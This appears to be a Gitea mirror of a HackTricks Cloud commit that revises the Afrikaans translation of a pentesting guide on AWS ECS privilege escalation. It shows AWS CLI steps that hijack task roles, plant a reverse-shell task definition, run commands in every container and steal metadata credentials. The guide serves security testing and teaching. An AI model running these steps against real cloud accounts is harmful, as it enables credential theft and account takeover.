gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-26 20:54:14 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

Browse Source
This commit is contained in:
Translator
2025-09-04 23:47:45 +00:00
parent ea2f64eae5
commit aa433fe0e5
4 changed files with 121 additions and 121 deletions
Download Patch File Download Diff File Expand all files Collapse all files

70
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md
View File

@@ -12,7 +12,7 @@ Meer **inligting oor ECS** in:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
'n aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS kan **generate a new task definition** met 'n **malicious container** wat die metadata credentials steel en dit **run it**.
'n Aanvaller wat misbruik maak van die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemmings in ECS kan **'n nuwe task definition genereer** met 'n **kwaadwillige container** wat die metadata-aanmeldbewyse steel en dit **uitvoer**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#tab name="Webhook" }}
Skep 'n webhook op 'n diens soos webhook.site
Skep 'n webhook met 'n site soos webhook.site
```bash
# Create file container-definition.json
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Potensiële impak:** Direkte privesc na 'n ander ECS-rol.
**Potential Impact:** Direkte privesc na 'n ander ECS role.
### `iam:PassRole`,`ecs:RunTask`
An attacker wat `iam:PassRole` en `ecs:RunTask` permissies het, kan 'n nuwe ECS taak begin met gemodifiseerde **execution role**, **task role** en die houer se **command**-waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat dit toelaat om tydens runtime die `executionRoleArn`, `taskRoleArn` en die houer se `command` te verander sonder om die task definition aan te raak.
'n Aanvaller wat `iam:PassRole` en `ecs:RunTask` toestemmings het, kan 'n nuwe ECS task begin met gewysigde **execution role**, **task role** en die container se **command** waardes. Die `ecs run-task` CLI-opdrag bevat die `--overrides` vlag wat toelaat om tydens uitvoering die `executionRoleArn`, `taskRoleArn` en die container se `command` te verander sonder om die task definition aan te raak.
Die gespesifiseerde IAM rolle vir `taskRoleArn` en `executionRoleArn` moet in hul trust policy vertrou/toegelaat word om deur `ecs-tasks.amazonaws.com` aangeneem te word.
Die gespesifiseerde IAM-rolle vir `taskRoleArn` en `executionRoleArn` moet in hul trust policy toelaat dat hulle deur `ecs-tasks.amazonaws.com` aangeneem kan word.
Verder moet die attacker die volgende weet:
- ECS-klusternaam
- VPC-subnet
- Security group (As geen security group gespesifiseer is nie, sal die verstek een gebruik word)
- Task Definition naam en revisie
- Naam van die Container
Die aanvaller moet ook weet:
- ECS cluster name
- VPC Subnet
- Security group (If no security group is specified the default one will be used)
- Task Definition Name and revision
- Name of the Container
```bash
aws ecs run-task \
--cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
In die kodefragment hierbo skryf 'n attacker slegs die `taskRoleArn`-waarde oor. Die attacker moet egter die `iam:PassRole`-toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en oor die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, vir die attack om plaas te vind.
In die kodefragmens hierbo oorskryf 'n aanvaller slegs die `taskRoleArn`-waarde. Die aanvaller moet egter die `iam:PassRole`-toestemming hê oor die `taskRoleArn` wat in die opdrag gespesifiseer is en die `executionRoleArn` wat in die taakdefinisie gespesifiseer is, sodat die aanval kan plaasvind.
As die IAM-role wat die attacker kan pass voldoende voorregte het om 'n ECR-image te pull en die ECS-task te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) dan kan die attacker dieselfde IAM-role spesifiseer vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task`-opdrag.
As die IAM role wat die aanvaller kan deurgee genoeg bevoegdhede het om 'n ECR image te pull en die ECS taak te begin (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) kan die aanvaller dieselfde IAM role spesifiseer vir beide `executionRoleArn` en `taskRoleArn` in die `ecs run-task` opdrag.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Potential Impact:** Direkte privesc na enige ECS taakrol.
**Potensiële Impak:** Direkte privesc na enige ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadaardige kontener** wat die metadata credentials steel en **dit uitvoer**.\
Egter, in hierdie geval moet daar 'n container instance wees om die kwaadaardige taakdefinisie uit te voer.
Soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** permissies in ECS **'n nuwe task definition genereer** met 'n **kwaadwillige container** wat die metadata credentials steel en **dit laat loop**.\
Echter, in hierdie geval moet 'n container instance beskikbaar wees om die kwaadwillige task definition uit te voer.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potensiële Impak:** Direkte privesc na enige ECS-rol.
**Potensiële impak:** Direkte privesc na enige ECS-rol.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS misbruik, **genereer 'n nuwe task definition** met 'n **skadelike container** wat die metadata credentials steel en dit **voer dit uit deur 'n nuwe service te skep met ten minste 1 taak wat loop.**
Net soos in die vorige voorbeeld kan 'n aanvaller wat misbruik maak van die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** permissies in ECS **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige container** wat die metadata-credentials steel en **dit uitvoer deur 'n nuwe service te skep met ten minste 1 taak wat uitgevoer word.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -169,11 +169,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potensiële impak:** Direkte privesc na enige ECS-rol.
**Potential Impact:** Direkte privesc na enige ECS-rol.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
In werklikheid, net met daardie toestemmings is dit moontlik om overrides te gebruik om arbitrêre opdragte in 'n container met 'n arbitrêre rol uit te voer met iets soos:
Eintlik net met daardie toestemmings is dit moontlik om overrides te gebruik om willekeurige kommando's in 'n container met 'n willekeurige rol uit te voer met iets soos:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,16 +181,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potensiële impak:** Direkte privesc na enige ECS role.
**Potensiële impak:** Direkte privesc na enige ECS-rol.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\
Dit is steeds interessant omdat as jy 'n ewekansige container kan uitvoer, selfs al is dit sonder 'n role, kan jy **'n privileged container laat loop om na die node te ontsnap** en **die EC2 IAM role** en **die ander ECS containers se roles** wat op die node loop, te steel.\
Jy kan selfs **ander tasks dwing om binne die EC2 instance** wat jy kompromitteer te loop om hul credentials te steel (as bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
Dit is steeds interessant omdat as jy 'n ewekansige container kan laat loop, selfs al is dit sonder 'n rol, jy 'n **geprivilegieerde container kan laat loop om na die node te ontsnap** en die **EC2 IAM-rol kan steel** en die **ander ECS-containerrolle** wat op die node loop.\
Jy kan selfs **ander take dwing om binne die EC2-instansie te loop** wat jy kompromiteer om hul inloginligting te steel (soos bespreek in die [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Hierdie aanval is slegs moontlik as die **ECS cluster gebruik EC2** instances en nie Fargate nie.
> Hierdie aanval is slegs moontlik as die **ECS-kluster EC2-instansies gebruik** en nie Fargate nie.
```bash
printf '[
{
@@ -233,12 +233,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
’n aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende container en die IAM-rol wat daaraan geheg is, eksfiltreer (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` te loop).\
Om dit te doen moet die containerinstansie egter die **ExecuteCommand agent** laat loop (wat standaard nie so is nie).
'n aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende container en die daaraan gekoppelde IAM-rol eksfiltreer (jy het die describe-permissies nodig omdat dit nodig is om `aws ecs execute-command` te laat loop).\
Om dit te doen moet die container-instansie egter die **ExecuteCommand agent** laat loop (wat standaard nie die geval is nie).
Daarom kan die aanvaller probeer om:
- **Probeer 'n opdrag uit te voer** in elke lopende container
- **Probeer 'n opdrag in elke lopende container uit te voer**
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -263,11 +263,11 @@ aws ecs execute-command --interactive \
Jy kan **voorbeelde van daardie opsies** vind in **vorige ECS privesc-afdelings**.
**Potensiële impak:** Privesc na 'n ander rol wat aan houers gekoppel is.
**Potensiële impak:** Privesc na 'n ander rol wat aan kontainers gekoppel is.
### `ssm:StartSession`
Kyk in die **ssm privesc page** hoe jy hierdie toestemming kan misbruik om **privesc to ECS**:
Kyk in die **ssm privesc bladsy** hoe jy hierdie toestemming kan misbruik om **privesc na ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -275,7 +275,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Kyk in die **ec2 privesc page** hoe jy hierdie permissies kan misbruik om **privesc to ECS**:
Kyk in die **ec2 privesc bladsy** hoe jy hierdie toestemmings kan misbruik om **privesc na ECS**:
{{#ref}}
aws-ec2-privesc.md
@@ -283,16 +283,16 @@ aws-ec2-privesc.md
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
'n Aanvaller met hierdie permissies kan potensieel 'n EC2 instance registreer in 'n ECS cluster en take daarop uitvoer. Dit kan die aanvaller toelaat om arbitrêre kode uit te voer binne die konteks van die ECS tasks.
'n Aanvaller met hierdie toestemmings kan moontlik 'n EC2-instans in 'n ECS-kluster registreer en take daarop laat loop. Dit kan die aanvaller toelaat om arbitrêre kode uit te voer binne die konteks van die ECS-take.
- TODO: Is dit moontlik om 'n instance te registreer vanaf 'n ander AWS account sodat take op masjiene wat deur die aanvaller beheer word uitgevoer word??
- TODO: Is dit moontlik om 'n instans vanaf 'n ander AWS-rekening te registreer sodat take op masjiene wat deur die aanvaller beheer word uitgevoer word??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Toets dit
'n Aanvaller met die permissies `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige task set skep vir 'n bestaande ECS service en die primary task set opdateer**. Dit stel die aanvaller in staat om **arbitrêre kode binne die diens uit te voer**.
'n Aanvaller met die toestemmings `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, en `ecs:DescribeTaskSets` kan **'n kwaadwillige task set vir 'n bestaande ECS service skep en die primêre task set opdateer**. Dit laat die aanvaller toe om **arbitrêre kode binne die diens uit te voer**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -318,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potensiële impak**: Voer ewekansige kode uit in die aangetaste diens, wat moontlik sy funksionaliteit beïnvloed of die eksfiltrering van sensitiewe data tot gevolg hê.
**Potensiële impak**: Voer willekeurige kode uit in die geraakte diens, wat moontlik sy funksionaliteit beïnvloed of exfiltrating sensitive data.
## Verwysings